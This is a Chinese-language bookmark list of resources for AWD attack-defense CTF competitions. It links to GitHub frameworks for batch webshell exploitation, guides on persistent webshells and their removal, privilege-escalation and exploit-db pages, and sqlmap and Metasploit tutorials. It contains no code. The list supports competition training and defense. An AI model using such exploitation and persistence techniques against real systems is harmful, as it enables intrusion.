https://kknews.cc/zh-my/news/gj4p2m8.html
https://err0r.top/article/2021ciscnawd/
https://maskray.me/blog/2015-08-12-defcon-23-ctf
https://www.xctf.org.cn/library/details/30e51c01fc5274fd74fe59fd5d71f67b0187fc3a/
https://edwardchoijc.github.io/CTF%E7%BA%BF%E4%B8%8BAWD%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93.html
http://brieflyx.me/2021/dc29-memo/
Github资源:
https://github.com/DasSecurity-HatLab/AoiAWD
https://blog.codesec.work/c5c098b97076/
https://github.com/mo-xiaoxi/AWD_CTF_Platform
- (⭐235) AWD攻防赛脚本集合: https://github.com/admintony/Prepare-for-AWD
- (⭐124) Attack-Defense-Framework: https://github.com/SniperOJ/Attack-Defense-Framework/tree/v2
- (⭐99) AWD攻防赛webshell批量利用框架: https://github.com/Ares-X/AWD-Predator-Framework
- (⭐28) awd-frame: https://github.com/xnianq/awd-frame
- (⭐4) WEB-AWD-Framework:https://github.com/dahua966/WEB-AWD-Framework
- (⭐0) AWD-helper: https://github.com/sarleon/AWD-helper
https://github.com/Ares-X/AWD-Predator-Framework AWD攻防赛webshell批量利用框架https://github.com/admintony/Prepare-for-AWD AWD线下赛脚本集合https://github.com/ssooking/CTFDefense CTFDefensehttps://github.com/wupco/weblogger 针对ctf线下赛流量抓取(php)、真实环境流量抓取分析的工具http://hackblog.cn/post/75.html wafhttps://jingyan.baidu.com/article/d45ad148a8338769552b803a.html 安全狗安装教程http://www.safedog.cn/website_safedog.html 安全狗linux版:
AWD经验:
https://www.cnblogs.com/Vinson404/p/13779839.html
https://blog.csdn.net/qq_42114918/article/details/82785960
https://trello.com/b/avr2o8x8/%E7%BA%BF%E4%B8%8Bawd
https://www.freebuf.com/articles/network/201222.html
- CTF线下赛AWD模式下的生存技巧: https://www.anquanke.com/post/id/84675
- CTF线下赛AWD套路小结: https://xz.aliyun.com/t/25
- AWD混战攻略: https://www.jianshu.com/p/d21b7e1bffaf
- CTF线下AWD攻防模式的准备工作及起手式: https://blog.csdn.net/like98k/article/details/80261603
- 2017强网杯线下AWD攻防总结(适合新手): https://www.t00ls.net/articles-42278.html
- AWD攻防线下生存之道: http://47.95.201.153/blog/AWD攻防线下生存之道.html
- CTF AWD模式攻防Note: https://www.cnblogs.com/nul1/p/9576386.html
https://blog.csdn.net/wy_97/article/details/78148705 http://www.sohu.com/a/211760248_99907709 https://www.anquanke.com/post/id/86984 https://www.anquanke.com/post/id/98574 https://www.anquanke.com/post/id/98653 https://www.anquanke.com/post/id/100991 https://www.anquanke.com/post/id/84675 http://tinyfisher.github.io/security/2017/10/02/CTF
http://www.freebuf.com/articles/web/118149.html
https://blog.csdn.net/like98k/article/details/80261603
权限维持:
- 不死马的删除: https://yq.aliyun.com/zt/325638
- awd攻防之kill不死马: https://www.jianshu.com/p/ba79686987da
- python中的后渗透|也可用于AWD攻防–shell管理: https://www.jianshu.com/p/2e8e7330b73e
- 从0到1掌握AWD攻防之RSA必杀: https://www.360zhijia.com/anquan/456324.html
- 资深大牛教你如何web端权限维持(内附具体步骤): http://www.sohu.com/a/127074604_472906
https://www.exploit-db.com/exploits/15620/ 漏洞http://exploit.linuxnote.org/ 内核漏洞https://www.cnblogs.com/linuxsec/articles/6110887.html 提权https://www.cnblogs.com/yuhuLin/p/7027342.html 普通用户提权http://www.freebuf.com/sectool/121847.html Linux提权?这四个脚本可以帮助你
https://blog.csdn.net/qq_36328915/article/details/79305166 kali中msf常用命令http://www.freebuf.com/articles/5472.html w3af简单使用教程https://www.cnblogs.com/zylq-blog/p/6694566.html 安装
http://blog.51cto.com/simeon/1981572 MySQL数据库***及漏洞利用总结http://blog.51cto.com/diudiu/1678358 SQLmap配合一句话木马 利用Sqlmap进行Access和MySQL的注入https://note.youdao.com/share/?id=62ecd676d896139c823591e8a8bcc708&type=note#/